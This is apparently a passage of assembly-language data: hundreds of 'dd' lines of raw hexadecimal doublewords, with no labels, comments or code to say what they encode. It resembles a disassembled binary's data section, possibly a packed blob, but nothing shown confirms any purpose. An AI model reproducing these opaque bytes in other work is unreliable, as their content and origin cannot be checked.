0B0043C21h, 8426B9A7h dd 40FD862Ch, 0FF74D094h, 3573EA18h, 0A4B0AB78h, 1F895720h dd 0CAC4B93Ch, 0A5C8906Bh, 87C40465h, 0D1BFBC60h, 65F65400h dd 8DD8D707h, 3FFA2CDDh, 0A85341D0h, 16D0E086h, 5664115Dh dd 7235F230h, 807F0AECh, 47FC16E9h, 839CEACEh, 5A0B21F3h dd 47F174C0h, 410B75F0h, 84D5F69Ah, 44C7E274h, 2A453D94h dd 0B00E462h, 86584713h, 5E04842h, 4790CAE3h, 60304488h dd 2CFC038h, 0FD6125D9h, 28E4A6DFh, 0BC7A5500h, 21E27CC9h dd 0AD58001Bh, 0A920379Bh, 6502E0D1h, 7DF5082Dh, 0E4C8C556h dd 77A86141h, 99CF3BC0h, 44C30764h, 0C6E01E4Ch, 9FCE7287h dd 17F96B25h, 80419160h dd 507860EFh, 0E3AE2A13h, 4D7110A4h, 0A1A853C6h, 0A40CC679h dd 68199B90h, 8FE45FE7h, 944C1433h, 58CE1B8h, 0CB22EF0Dh dd 1CA0C00Eh, 801D9FFh, 0D66A5D86h, 9FF83430h, 67C413AEh dd 0CAA40075h, 5CB68508h, 48468F18h, 646B2AF1h, 0C8A9C98Ah dd 69000568h, 0DD685DC2h, 48A715B1h, 3202144Dh, 0CE6114C7h dd 7BAB2081h, 0B2EA80CDh, 0B146947Ch, 0CA4A003Fh, 511BADDEh dd 5F4BFD82h, 0B7776003h, 0D2C20E94h, 24825BC0h, 0D843821Bh dd 0D0ECE0BCh, 89CE157Bh, 8193A640h, 34E07C20h, 8E484EB7h dd 0C12C8814h, 0D25DF6C5h, 0F9E134C0h, 51B6E531h, 9FDC1AC4h dd 9C1027AAh, 33190022h, 53FE0200h, 28660421h, 9843D450h dd 0D004DC28h, 77C0B170h, 0FE80C4F2h, 63A7D32Dh, 50F08E00h dd 0AE806C29h, 913F37B4h, 42A680D8h, 0A13C83C4h, 230976D8h dd 0D1F9D93Eh, 187C79D8h, 0A585075Eh, 0C21D7165h, 0DCC7ABB6h dd 18C18842h, 0B90C3F35h, 1990572Ah, 0AB160C99h, 0D0B894C3h dd 80180C48h, 0F151B95Fh, 4FCCB624h, 86B83C94h, 73D7098Ch dd 74D0B493h, 51848230h, 0B7DFB1h, 0E22EEA61h, 7A0C4A66h dd 0BF54440Eh, 70049702h, 7401916Ah, 503C07B1h, 70BF0DE0h dd 504D68BAh, 49B838h, 0C57C2D39h, 0CE02421Ah, 6C8F049Ch dd 0E01861F2h, 0B1D47B7Dh, 40B1D6FEh, 0E1D208E0h, 1B5A5D0Bh dd 8723802Fh, 0A6751C00h, 140ED2BFh, 0AC51F2FCh, 23BC2F4Ah dd 38C71A4Eh, 4D6AC081h, 0EDBCD0F8h, 93CA348h, 40C6E524h dd 56BB810h, 5CBF09FFh, 0FA9C0C91h, 63E64DC8h, 0A4259528h dd 80489A5Bh, 0F93CC16Bh, 3B45F901h, 3DB02Ch, 2852F944h dd 29ED1EB2h, 0DB582102h, 0D30A506Fh, 0ADD98974h, 0BCC080CDh dd 7EDC9239h, 0E4BA100Ah, 0CE2400F4h, 42630C94h, 10869D29h dd 920059AAh, 7DB7B972h, 9BF1DEC9h, 0B20178F4h, 7C24E073h dd 0B10F8CECh, 0A02961E5h, 7833469Bh, 3F251882h, 0A049C902h dd 4E0C9CD8h, 2FAD07FFh, 509001D2h, 0CC3BAF73h, 5E96700Bh dd 0E1F80027h, 0E1B708DAh, 5B297024h, 0BFE42069h, 4A808DD0h dd 0EEDB00D1h, 0F0CD54E9h, 0C1F86A58h, 2E44B09Eh, 3DBDFB60h dd 5857AF2Eh, 37A70h, 7C4182BDh, 3A44C49Ah, 97BBEC3Ah dd 384371BCh, 0A4D31462h, 0BECA2880h, 0D6D228A7h, 0C4920EACh dd 9E9226BFh, 4E9982E8h, 863C5EA9h, 21D0BEC4h, 1804252h dd 570C9813h, 63F45E5Ah, 10D74D04h, 94BCFC09h, 39EAB8A6h dd 0D4E7D01Ch, 0CC3F21D6h, 7DF88C7Fh, 2628B000h, 84BF06D1h dd 0FCAF9FFFh, 0A19A8034h, 0DC3C76h, 75A87EBFh, 7097099Fh dd 0E8D19C4Eh, 0A0202938h, 0D9250011h, 36D49FFAh, 24618DA6h dd 86423818h, 0A46F92E4h, 0F940056Ch, 38256305h, 480731B8h dd 10D03AF9h, 5F002A34h, 0C1096C1Bh, 0BCE8B829h, 0C3008F11h dd 4523F08Ah, 8700B5D8h, 0D3F2F61Bh, 75F9163Eh, 2AC50C42h dd 32D94C7Fh, 24AEABF0h, 0BEFE4A00h, 2FD5EFC4h, 6BC1FBFh dd 0A1C080E3h, 0D3DFE904h, 6437584Ah, 9D94AF10h, 4CC82E64h dd 80A5456Ch, 0C9BBB6A4h, 410E350Fh, 423A8668h, 5E3C0F09h dd 7681DC06h, 8516E9C8h, 4BCE9299h, 2F3E1CA1h, 322394h dd 53BBA1Fh, 0A6143EB8h, 2DC42731h, 8138B7E2h, 4F7312Dh dd 3D507014h, 0AB83A40h, 45D45651h, 0D0C64028h, 304AB172h dd 0FC01108Bh, 0B286D32Fh, 84A1C453h, 17567400h, 0E6793BC3h dd 215F1632h, 88048B60h, 0E31BC033h, 1C16CBADh, 0CC045BA9h dd 0C4028A32h, 7C475C2Dh, 18C18642h, 0C754ABC2h, 717CDCCCh dd 356C3E00h, 0EEC13256h, 0AF68090Bh, 8C0234D5h, 0D7078C58h dd 7D2C20D9h, 9EBF4Ah, 91A4F5EFh, 69A6149Bh, 77FF8100h dd 674CB327h, 572AF5FAh, 0DC28CB68h, 84B400E3h, 0BFEA030h dd 0F0209718h, 5CBDB588h, 0B38098AAh, 5CD11B15h, 0DC550604h dd 90A032A2h, 964C0479h, 0E25EE35Fh, 0A0A60FFCh, 91B9A2E8h dd 72CD8084h, 4F3206C4h, 23342F9Eh, 2A9F0086h, 4324D4FFh dd 21CE5700h, 0C09538FEh, 209E5A1Dh, 0C9A7B700h, 90CD05FFh dd 47BC407Ch, 5927008Ch, 851761DAh, 960741DBh, 97996C2Bh dd 53023020h, 0DF6400D2h, 57FF6778h, 70A568DAh, 9B609CC4h dd 0CC003598h, 660EA41Dh, 0A00FB7h, 5EF1CBC1h, 23542B67h dd 0D4B46C92h, 86797A5Eh, 3101BA7Eh, 413C4FE8h, 0D9D8E9E0h dd 70C49351h, 5303E656h, 0D1E993DAh, 0E0E4A4DFh, 980F18B0h dd 850BB8C5h, 7C56900Ah, 0D105C808h, 0C0CE3FC9h, 89C0EF88h dd 97231463h, 0A938640Ah, 0C67BD0CCh, 68321D86h, 0D7500C1h dd 0DD3A3747h, 0A04D062Dh, 13AF6B8Ch, 25F97915h, 5C17565Eh dd 0C09C4311h, 0C4BAF589h, 0E89E61E3h, 4AE8467Ch, 0BF0BE880h dd 0E900442h, 88AAFFD8h, 8D00BAB4h, 33EA455h, 61CEE0EEh dd 85738930h, 0CC97F82Ah, 0F35F9F05h, 5CA4D6D9h, 6FB412AEh dd 0D0D8E071h, 0E361C172h, 0A7098179h, 18E9FFCh, 5A1C0563h dd 0DE712ADFh, 0B7096868h, 0B89280F6h, 1AC85716h, 21B8D827h dd 18EE71F0h, 0A040F62h, 5878D897h, 965CABECh, 194E22BCh dd 0C12E12D0h, 98902061h, 0BE31C240h, 841D6BC4h, 0A3809311h dd 6432B35Bh, 0E9DCD100h, 7020B9FBh, 3B252D50h, 30E4A0E5h dd 1470D560h, 0E09F5B04h, 0B0C1AD1Dh, 9501FFCCh, 0A2E42394h dd 0C022317Dh, 2D056C55h, 0CA19886Fh, 0FC2028C4h, 0A8A774h dd 0A59F7E7h, 6627CFF1h, 0BF8F9CA8h, 8485F64Ah, 4323FC3Ah dd 25B9670Fh, 4ECC670h, 0C14385ECh, 41402E02h, 0DCCA4F24h dd 0A807FD04h, 6B0B7D50h, 3E08D2h, 5DDE0B40h, 0FC9F096Ch dd 3858A7BCh, 2C3D4409h, 0C00C4D01h, 3F09D041h, 4849788h dd 0B5109934h, 0F7A0B294h, 823DE078h, 0A930F842h, 99F35936h dd 0E510088h, 0D2BEC6E0h, 89010D76h, 10BCB441h, 2C2EBF1Dh dd 10F3BAF4h, 0F19FE4B6h, 97046C62h, 53279DA6h, 6C5C7830h dd 22C410A0h, 0CAA5F9h, 0AAC04CC8h, 180BB4A0h, 4888F48Fh dd 389914BAh, 52CCD280h, 94E9DEh, 7A46C5ECh, 3187DA7Ch dd 9310C006h, 0B388968h, 1816D02Ah, 0CCCD30CAh, 1E0ECCh dd 8D5FEC99h, 62170583h, 2402F89Ch, 5EE182DBh, 65D49C10h dd 47917C1Dh, 1F951380h, 5E283115h, 6480A4F2h, 0D24CD5E3h dd 99A02244h, 1886D160h, 748ECE4h, 26293872h, 0AAF04345h dd 4007F1FEh, 9F939771h, 0C47CCCE0h, 0E3BA00B9h, 0F20CA042h dd 2D48C31Ch, 22B2210h, 470ADAFAh, 0D7072A83h, 0AA711Ch dd 0E1BD60F6h, 0A77FFA98h, 0EF08377Fh, 923ADA25h, 0E2D0B263h dd 0E4CB3030h, 0CEE1C600h, 0DFF86381h, 0D15B0283h, 36D8D55Dh dd 5F58AC7Bh, 4F181C5Eh, 8A0709D0h, 1E40F058h, 0D0415B8Fh dd 0DC7DEC48h, 931624h, 0CD2A243Ch, 4CB3D034h, 473079A2h dd 0C79F0304h, 0BCAECFA7h, 284096EAh, 762ADC54h, 820344Dh dd 948F073Fh, 660C57E5h, 6CAD2048h, 0C0778BE2h, 6AB4FBh dd 0CCE1D2F5h, 4591B18Fh, 550D6700h, 0CFAC3847h, 2F4F4A9Eh dd 1E12328h, 0FC8434EEh, 6166C4F8h, 923685Ch, 78F76497h dd 31F0C3ACh, 0F9FDA281h, 0D102006Ch, 0FC1BEC20h, 95470176h dd 7CE8530Ch, 24089804h, 0F43C21h, 4BA93E76h, 0A6D0E5EDh dd 0BFE17200h, 0B6F11FAAh, 6A9C0028h, 0E980B3CDh, 4400402Ch dd 10C9DC13h, 0CE9886F2h, 0E500FB48h, 2F4E2CF1h, 4A644203h dd 0B0530833h, 197BF79h, 0EF41E1A4h, 810BF037h, 56ECFE40h dd 0D002362Bh, 1C327C0h dd 2063A807h, 8ECA1C5h, 0F321C04Ch, 86DBC339h, 9872D116h dd 0B2030401h, 2080FD89h, 75767920h, 0CC00B5AAh, 54AE62CFh dd 0EA1E5Fh, 0C6AD880Fh, 729CF69Ah, 59D1D163h, 98D5F2C3h dd 1176FE98h, 88FC9545h, 0F6428010h, 4E270676h, 0C876C00h dd 791F3A31h, 0CC433E4Fh, 0C0888AAAh, 0F6FC5290h, 11C0ED87h dd 11844E0Ch, 67700378h, 65406F34h, 80FC02A1h, 84562620h dd 1AEEB6Ch, 8FDA29C9h, 98E8E089h, 0EAB0EC41h, 0FF5186D4h dd 544360E0h, 100A58A9h, 376F745h, 0CA4CF0B8h, 2F907F37h dd 0D10ABBF5h, 54FC59B4h, 4F80F911h, 68781284h, 21F8608Ch dd 0AF845729h, 787D730Ch, 48ABF8E1h, 0C52A271Fh, 18700180h dd 0F34A63AEh, 9844C108h, 1021B709h, 0D3AE070Fh, 0CA4EEADh dd 0D7017AB1h, 0C9DBEF84h, 0F089CF2Bh, 6815D511h, 43800A11h dd 0E7834197h, 237DB507h, 0D82F9577h, 549C50A8h, 3F1DCBEh dd 0EF7A16AEh, 2BD89567h, 8430DFFBh, 0EEA180FDh, 0D8913DBAh dd 3303C680h, 629B7120h, 18F598A1h, 0E84084Bh, 5C54878h dd 532DB040h, 3A2784h, 0DC69388Bh, 0F4889DE6h, 9C5B41C0h dd 186F60F1h, 98904FA7h, 7001111Bh, 0B950C541h, 982053D5h dd 3E3D8C55h, 5BA891C3h, 0FA832A88h, 0EAA6C336h, 89A483F1h dd 0CB7100EEh, 0E3B46864h, 79008554h, 3EF303BCh, 0F94FA5E0h dd 14779048h, 9CF0A7B5h, 20884112h, 0E865C000h, 24002D90h dd 6AF6EE36h, 193D374h, 31B32BF3h, 714B532Ch, 39E5E46Bh dd 0F1D04E1Ch, 64429352h, 0E017FAFBh, 3C22F55Bh, 11804A1Fh dd 321C8C50h, 6848317Bh, 0A20053D0h, 0FD083010h, 9A9C4B0Dh dd 5447C812h, 0D08A5024h, 0C53CA90Ah, 0D1B02108h, 0EEE31857h dd 15400BCh, 0CDE67FD4h, 0FCEAF160h, 4281F69h, 8C9839A4h dd 4EAE080Bh, 0BCC4AB4Ah, 0ADEA0940h, 7F018397h, 9EEF570Dh dd 5834C0A2h, 874F1378h, 72A0002Eh, 42403A47h, 0F38CA091h dd 34A49C7h, 0C8B4036Ch, 0F100F589h, 0F3117BA2h, 0CE38B3h dd 0B2AD7EC5h, 0B0DCE20Bh, 59A31A00h, 5CDF9D4Bh, 0A894914Eh dd 1FF74678h, 78888449h, 21F8CF58h, 8405512Bh, 50FECBDDh dd 7300845Fh, 5D37A0EFh, 4C040638h, 60347AB4h, 8E016F01h dd 0AB108762h, 0BBC8984Bh, 0E0D4EC0h, 355A0146h, 13B5754Bh dd 80F8543Dh, 12FA74A0h, 1430AF4Ch, 1CA003B0h, 0C1032EA1h dd 232CB663h, 0D043B78h, 4D8448AEh, 20C03C22h, 0BEADE407h dd 7246BF1Fh, 0F400119Eh, 68227881h, 84D899FCh, 8985732Ch dd 88340B40h, 0F2E7C0BAh, 8B00CA3Ah, 0AF3C2E4Dh, 32A7E9Eh dd 76194133h, 3ACFD1EAh, 1EA187C0h, 991A3526h, 7B40C0B8h dd 118D71Bh, 0E170A010h, 248B05E3h, 8D9DA413h, 5C94018Ch dd 48431EBh, 3640D9DCh, 0C281B098h, 2F7A2417h, 218C4A54h dd 18BE7984h, 4C180073h, 91338052h, 9050FA9Dh, 528688B8h dd 9025010h, 4954476h, 3B0080E7h, 0A5927601h, 1519025Ch dd 0E1C3D222h, 0C90B44Ch, 44074B46h, 0A8A808C3h, 0E0404DC4h dd 0FEB5C33Ch, 9277A200h, 7C97E41Eh, 0F7D8300Ch, 11BE2EA9h dd 0B0176B0Fh, 48A20009h, 53C43127h, 0BBF290C7h, 0FA22E833h dd 7F0488Eh, 0CA94F10Dh, 0EB104221h, 6FAF4620h, 0DCE000B3h dd 3412BF5h, 9803888Bh, 0D43221ECh, 2AA900F9h, 0F1B9DEE1h dd 9F057CC2h, 77FF01D9h, 0E9AB87h, 7426E968h, 1707D28h dd 0A8837B3Fh, 20D1EC9Ah, 0C460DA24h, 7AA9D081h, 18BD6061h dd 43A3267Ch, 9DC7D702h, 1B5D56Ah, 246C3F94h, 470310D0h dd 0EBA81A7Bh, 32CDD81Fh, 2048992Ch, 2608DC90h, 8464C04Ch dd 40217817h, 0FC038865h, 844C2C00h, 0EE5F93F8h, 56FB01B3h dd 0F4BC66E8h, 14A980CDh, 0FD77C749h, 42810044h, 790CA49Fh dd 0ED16DA47h, 143AC9DFh, 9D002323h, 4A49E428h, 1F0230A4h dd 0C7BC6DC8h, 0F980D099h, 5DD54EDCh, 0C52800ACh, 4997DF6Ah dd 6E50309Bh, 10E08B90h, 51FF4013h, 3F0BAC20h, 0A7B0068Ch dd 28B4709Ah, 0E13BC303h, 50A40A28h, 4890E8B0h, 6580680Fh dd 0EB8BC3E0h, 18503775h, 6CA44C0Ch, 91C3473Ah, 248833A8h dd 203FE18Ch, 8D730984h, 800D635h, 0F53A6622h, 88009499h dd 48F3DB57h, 0B8B52CEAh, 897D03CAh, 60A7D85Fh, 0E96B32FFh dd 8C3C704Ch, 248991F4h, 13D4148Fh, 484021D4h, 1442042h dd 3A2524h, 18C6FF74h, 0FE1899ACh, 0A7C93547h, 3910C8DDh dd 4CA2A982h, 0DF5449C7h, 8430FCE5h, 1B00F190h, 0C34C9B66h dd 0D4E68438h, 4276FB30h, 11F49523h, 0F3410F23h, 7268A476h dd 4CFF8AC1h, 2C029022h, 1F238D75h, 364614C4h, 4DAE1201h dd 0B09034Ah, 39ADC550h, 7A840A5Fh, 0D41F2581h, 0F2B4A2DCh dd 20D73158h, 19F4AB10h, 0CA929F05h, 940DC527h, 184E2975h dd 0DC14C88h, 0F5CC603Ch, 0C6CC0134h, 0AD832039h, 82B840C1h dd 0EE489EDFh, 0A4B87CB4h, 4DE16B60h, 538CD730h, 0FE2BCD0h dd 0E4208431h, 30114818h, 7B6B7300h, 0FCE994C3h, 16642CA7h dd 6C60E260h, 103CB95Ch, 2C1224E3h, 882C8FEEh, 3BCCC025h dd 0B09C78F1h, 109DD189h, 0E85D4C74h, 0C6E5146Bh, 41D89847h dd 0F10F761Ah, 4CECC4Fh, 0F0B23A30h, 0CFC05F1h, 397B59h dd 44E291C2h, 0C49B1F5Bh, 52D4BC50h, 0BF68A360h, 4C02B44Bh dd 4F066809h, 89502A4Eh, 0D2F05700h, 0BA859329h, 509031Fh dd 0D4941173h, 6EC063A7h, 0E13122D8h, 6C4DEE09h, 463840EFh dd 9E7D0B78h, 1821D49Ah, 203385F5h, 1F400B08h, 0BA7200A6h dd 0E1374DB6h, 40EB2B90h, 270B1BCh, 0BC28957Bh, 101F412h dd 0F28777Dh, 5B17F9D8h, 0B63C7E01h, 0E8DBC81Ch, 554CCFF6h dd 8CF9BC28h, 21699826h, 0FFF88806h, 5E109618h, 0A2000446h dd 2E4805B8h, 7E097D46h, 24ABE892h, 42605120h, 0A82EFAC3h dd 0F670403Bh, 56C3003Ah, 997D4AD8h, 0A03F35EBh, 6D48864h dd 0CB4200D1h, 0BC3EF4BBh, 1463AC90h, 0BB1D8E19h, 9D9CE8DFh dd 0FF1B02E3h, 0C4116AA8h, 0A0E5C480h, 0D301701Ah, 6CC871A6h dd 58F39ED0h, 0E3100CE9h, 0CAD2003Dh, 583794C7h, 6EC4A004h dd 7529C9E6h, 4A9C1C01h, 0F3AF001Ch, 0C474A5C4h, 6A256057h dd 1B450F22h, 0D1600390h, 1865E16Bh, 0CE6F9500h, 4128F762h dd 1898586Eh, 0FC8CF6E8h, 2B4B119Eh, 0FF8F0E1Eh, 98EEA0FCh dd 244F4A11h, 8607CA7h, 3E0712B3h, 0DFB0A693h, 1CE5F34Bh dd 12A25C4Ch, 0F1DC0050h, 17FAEE75h, 0E0667E01h, 0D7EF56B4h dd 8C3C3465h, 8C4EE8h, 777048EAh, 0EEBF0A9Dh, 7C83714h dd 0A32105BCh, 0E009CA34h, 91DC9DABh, 0C9F68123h, 44FAC695h dd 0C54300F0h, 0A0CF9CE6h, 0CB01AA80h, 54A6C787h, 60F1C686h dd 2CAD6BCCh, 0C2643A1Fh, 84E1AE0Eh, 0B08038E3h, 0E2ADE502h dd 7057006Ch, 5F94928Dh, 1B18A428h, 7A49636Dh, 9622011Eh dd 0A2854DE3h, 5B602405h, 3D804099h, 0D644D829h, 5DAF3A36h dd 32670200h, 0C6075812h, 0FA4DC07Dh, 5AB50008h, 93D8B3A6h dd 7217CF0h, 7B4FFD45h, 4C174985h, 59802491h, 0B2A09BEFh dd 78BCBCA0h, 0F7463305h, 0C02FFD22h, 69004D23h, 75E26496h dd 94AB002Ch, 1AE7DEB2h, 0A2051989h, 53172434h, 0F8E138B2h dd 1DA0CFBh, 62248AA1h, 51CCF428h, 0FCFC65C4h, 3E7207D5h dd 642A03Dh, 4F2C4649h, 80BA4899h, 0A5588900h, 4B832DA0h dd 49F7A103h, 0F0426584h, 14D1E416h, 0D00177A8h, 0B4C1057Fh dd 88C51FBBh, 60744558h dd 465EF49Eh, 5AD90509h, 84EFC58Bh, 0EA840185h, 626F2291h dd 7C2A1EE8h, 0C4476605h, 8CE5F088h, 430876E0h, 6454AC95h dd 0F8404108h, 90E85D76h, 0D4EB0022h, 0EA18B40Ah, 0FB2C6C4Bh dd 7B41582Bh, 0AC50FF87h, 32CE3F1h, 0A36951DAh, 4EF8DDECh dd 0FF0A3766h, 90AEFA01h, 0BC208100h, 0F8AF89FEh, 0D3B434D1h dd 0F1B8E241h, 190CFC02h, 48B97E01h, 21A4FAB1h, 0CC61D6C9h dd 8B70063h, 2C821EC0h, 9C6201EFh, 0D6CDE46Eh, 438C500Bh dd 881D2E6Bh, 9A807CF5h, 7A331A14h, 86670126h, 0E4DF9525h dd 176830F1h, 37AD760Bh, 6E0C034Ch, 0F290235Fh, 0D844A01h dd 0E5078h, 584522Ah, 6A9623h, 3EDD2988h, 5528E513h, 0BA9074E5h dd 683E335Eh, 99388C7Fh, 8834F04Ch, 18CE491Ch, 0C2FC109Ch dd 0C0505CE2h, 9E12EAh, 0AF467A23h, 0BC758E15h, 96C44D15h dd 78844CCCh, 0B516977Ch, 58803923h, 0C11346B4h, 0DC84C520h dd 88984E52h, 0E280CE02h, 0D96493D4h, 0CD1A7479h, 6781436h dd 2A11F244h, 7EC12D4h, 0AEB0CB90h, 0EE46004Ah, 2B007B3Dh dd 54DC129h, 6C781E2h, 0D7AD7562h, 0FF09B03Ah, 0C18CA2A0h dd 0EC24CBE0h, 414726FEh, 0DE68A614h, 0D74B2A00h, 0D265DDDBh dd 904758EEh, 0CDB0A180h, 1758FEF1h, 3052A29Ch, 0FD16C345h dd 6C3843A8h, 0C33D0EDFh, 873ED9Ch, 0BB8027F0h, 1DB176E5h dd 0B6F6047Bh, 0D0F8D80Bh, 975E8A28h, 5B00F4E0h, 0BD9B8278h dd 9051281h, 2396A422h, 18F3B811h, 18840E65h, 8AB23878h dd 4D2F00B8h, 21813D84h, 352400F6h, 834845AAh, 8B80D0F9h dd 0A11B6078h, 0CEDF44E1h, 1C416600h, 5EAF656Ah, 9F190503h dd 0C01263C1h, 6F6BE5D0h, 23C04758h, 0AE19013Fh, 68DB4A64h dd 1003B024h, 88F701AEh, 9DCD1FB6h, 0A2A82324h, 36230F9h dd 194B3200h, 22B5BB70h, 0F9509FEFh, 0C4A71CA1h, 0D901FEE6h dd 43E97585h, 57F97261h, 27B577D4h, 840B4EF3h, 0BB912017h dd 4DE0458Eh, 0CA2E622Dh, 8BCE6E01h, 0AB3889D4h, 99E04876h dd 8D1776EAh, 0A06FB62Eh, 0BD9CE206h, 5B4CF907h, 26661787h dd 97ADB4C0h, 0B44E8057h, 180B8E35h, 8CDF4080h, 2889E02h dd 3221F764h, 58031860h, 13A9B180h, 0D163FD72h, 1DB8A0h dd 1E247778h, 434219DDh, 98A6CE65h, 0E0A2E8C9h, 740004D1h dd 0E112B78h, 6C8370Bh, 0B0A91BA7h, 71081893h, 3C6FF5h dd 1A39FBE8h, 4E014894h, 3824FEA3h, 518195BBh, 4AA6ECB8h dd 0A703DC1Fh, 0B0091766h, 0F4D80021h, 110DE9A6h, 40DA3083h dd 0E6B96048h, 898C0A2h, 70EC554Bh, 28B4660Ch, 0DEF30969h dd 55534021h, 3389EDD1h, 0D906D200h, 256D0AAAh, 0C4201980h dd 483258A7h, 0A604F24Ch, 4181F50h, 0D220A432h, 626A6FAh dd 0BAE46415h, 0EC0019A5h, 0A569449h, 9AE5DBh, 0AAACD60Fh dd 0BE84373Fh, 0F76B6506h, 31129Fh, 4877F398h, 0F0378E1Dh dd 8154761Fh, 0E7FE2800h, 0C0278052h, 0E4404429h, 230C9DF0h dd 9A59487h, 9C21DF2Eh, 0AC2B8037h, 0C4B61DD5h, 643CB53Eh dd 3F605348h, 9D21EDE4h, 36E7C33Bh, 6A1D2000h, 5322CE6Ch dd 3D23069Ah, 5091C309h, 69431B07h, 9380C2F6h, 0B0C46174h dd 99420060h, 1BA3B5D3h, 30C008ADh, 250D6D05h, 0B4C654C7h dd 0F3048C33h, 101F4FA6h, 0D120AF62h, 1F5CA6FBh, 0C1867E1Bh dd 99D1FE3h, 0AF708C98h, 0A4589065h, 0E43A0470h, 62539DEAh dd 31A02F39h, 0DB5B1BE4h, 448B250Ch, 8C3599C8h, 4DA6F10Eh dd 0D3E0101Fh, 117AA6F9h, 0F0481B00h, 0B5949F20h, 37B980AEh dd 80281C65h, 68F1F420h, 388648BDh, 0EFC037C8h, 211F4BA6h dd 0AE9103F0h, 0F7D512h, 0AF020C3h, 0EAE8B90Fh, 0A51C8FF4h dd 78F1119Ch, 30A891D2h, 0E9142030h, 0E7690A00h, 0D6F1181h dd 0C82F29ABh, 18AC7940h, 5E01006Bh, 0F22DCA93h, 80306822h dd 0B1DDE121h, 74C00707h, 70D1A6ADh, 9295C5EEh, 0EA066E7Dh dd 97A2C6A5h, 0A6B93050h, 64D5B759h, 0D1883E03h, 905448DEh dd 1915BCh, 0EAAE062Ch, 99CBEED5h, 0E869A924h, 0E11100A4h dd 0F3555080h, 0E08C2E70h, 582380A3h, 0DE425500h, 41A836C2h dd 0CE402F0h, 1FE7ED67h, 64239800h, 605E980h, 41CFFB9Ch dd 0E90082F0h, 0C1A3A67h, 3A21E449h, 8B3748D4h, 20E1E721h dd 4F0FB446h, 66522F02h, 2035D0CCh, 17D94373h, 6B018890h dd 889D5164h, 21A4A1E2h, 0D09B0500h, 0FA40484Dh, 6167EAC2h dd 404804A4h, 0E2688895h, 7827CEDEh, 749C1FEEh, 9198292Bh dd 554D80E6h, 8C5670EEh, 2621FD67h, 423620FEh, 120CAB9Eh dd 3B23C83h, 2A1F9F66h, 649D5904h, 3C809205h, 572B5F0h dd 0B11B7049h, 2B3BC2FCh, 0FE113C97h, 0D85AA880h, 0EA034D42h dd 90D1C5F6h, 6950007Dh, 0DA928983h, 0A513F2AFh, 0B500C7C9h dd 6782CB6Ch, 149F18E3h, 0DA8DA159h, 2E7F1512h, 0F4287801h dd 13C44935h, 0C79F00B3h, 0E786B6D2h, 4B303DECh, 43F020E8h dd 320412C5h, 1C190099h, 133FEE81h, 0EF444090h, 962324EBh dd 5F88160h, 82946FD1h, 0BD1B7110h, 0D4F4840Ah, 0F1194D1h dd 93231080h, 711472B3h, 426B1519h, 84DA7498h, 4A60E794h dd 7023ED55h, 1F4115Eh, 11555229h, 2491D1h, 32F9002Fh dd 26BAACB4h, 5D0706B8h, 3307B0ECh, 0C7278510h, 975C28D1h dd 0F8EB13A4h, 579C0870h, 0E9E43BC0h, 225B469Dh, 32EB003Ah dd 292E5DE4h, 80E718A0h, 9E7CD219h, 190EFF67h, 0D833EBEEh dd 6414224Eh, 3D605568h, 9D21EBE4h, 34E9C04Bh, 0A60043E4h dd 3FBDEF76h, 291D3660h, 7B944D67h, 7A18A382h, 0F447018Dh dd 431D713Dh, 57A08123h, 4B1BE37Ch, 6480F5EBh, 9BC4D30Ah dd 205978CCh, 6664AD00h, 2241F955h, 0BF120C81h, 34299CB9h dd 45E3C400h, 0B27DDF43h, 557F008Dh, 706CBD90h, 3E6097EDh dd 0EB042598h, 430931Fh, 0C03BF142h, 0D3F2538Fh, 2584BB00h dd 89B46F0Ah, 937824D9h, 67E344B8h, 70F15590h, 0F5448C3Eh dd 55561F25h, 23B0C131h, 64C2FFBDh, 0D8AC51F0h, 0EFE44105h dd 0A88E2B9Dh, 2038E518h, 0A70399EDh, 0BA17AFCEh, 85C1039Fh dd 0D28E5EDCh, 1FBE9D98h, 0BA318C90h, 406A2193h, 2120AE8h dd 4B9C3A8Dh, 98400B21h, 3D13578Ah, 8460F998h, 103C67EBh dd 0C848FC1Ah, 0E3658796h, 43745167h, 885074A1h, 0CCB65809h dd 0FEDC0205h, 11F40826h, 0A6EE8036h, 0B1F81F4Ch, 0F6D6C080h dd 0C900BBA6h, 0AE1CD2F3h, 962ED7Eh, 83B8D995h, 9219AC22h dd 58099451h, 0C5B83A99h, 6039C4C4h, 1270DF27h, 2C41771Dh dd 58C54ACh, 9DEEE43Eh, 0E6282833h, 7BE43501h, 0E7E36E5Ch dd 0CEA2024h, 0E1A6CF65h, 25F1B310h, 254C5084h, 0F0801CBFh dd 95742E9Dh, 9C7B9FBCh, 97E38B23h, 18F75811h, 3E6705EDh dd 8B48EC1Ah, 0E5630798h, 45505B67h, 31877668h, 0BE8D77Ah dd 72170055h, 0C3E70725h, 0C07B961h, 52E06A02h, 110ECDA3h dd 40C35A20h, 4245489h, 8446681h, 421D211Bh, 5DC0C352h dd 5592ED1Fh, 832714FDh, 1DBC26C1h, 1521008Ch, 0C8599CE1h dd 0BC9838A0h, 0FABF0F07h, 8651D93Bh, 30870139h, 0E0D5BD89h dd 8C6607E0h, 507291FFh, 22C35887h, 19314489h, 0C3504010h dd 43186600h, 51CDA898h, 0E9D70F81h, 5E6080C7h, 0F04C1F6h dd 91E88429h, 5E875691h, 748922C3h, 46101C31h, 2F00C356h dd 0E39123DAh, 76575Dh, 0FBB70F92h, 1AE995FFh, 0B82DC4D0h dd 0E00E8C1Ah dd 4088E366h, 0F08B4F0Ah, 0FA5CC75Bh, 5C2AFA2Bh, 83031946h dd 0C5886559h, 0DD8589B8h, 3DA23061h, 28A00834h, 355F68C4h dd 1B4774BBh, 0C0CFBE03h, 8BB0B8B5h, 0F1BFC60h, 0D027058Ch dd 0A8DD881h, 3FE96123h, 9817F436h, 5F024B3Ch, 40FA6720h dd 8024F51Dh, 0E0E5C08Bh, 10C40201h, 8788E952h, 0EEEA1E06h dd 82A8C138h, 0C9C38B5Eh, 578691D8h, 88BC5F8Fh, 18C47C89h dd 0C3574740h, 2A1C9497h, 6B80ABBEh, 0C71249E2h, 0C0E17085h dd 309F37Ah, 1463E81Fh, 0E8C6D239h, 11A81BEh, 490E743Fh dd 84306D7Ch, 4651D7E0h, 8E0F5181h, 1BD69C58h, 0DC5F55FDh dd 398CAC76h, 8912C35Dh, 4558386Ch, 0CEC3550Fh, 6185E09Bh dd 40D1EC22h, 8108F9BFh, 151391BDh, 297D94D0h, 91D04B85h dd 0C35B8753h, 315C8922h, 53431016h, 0A7D73AC3h, 2E85FF14h dd 19E25B42h, 0B062F033h, 98A67488h, 0B6FE611Ah, 49B5FFF7h dd 88DE0B2Dh, 14CCC017h, 87900E3Fh, 0A01A6920h, 0AD18A9DEh dd 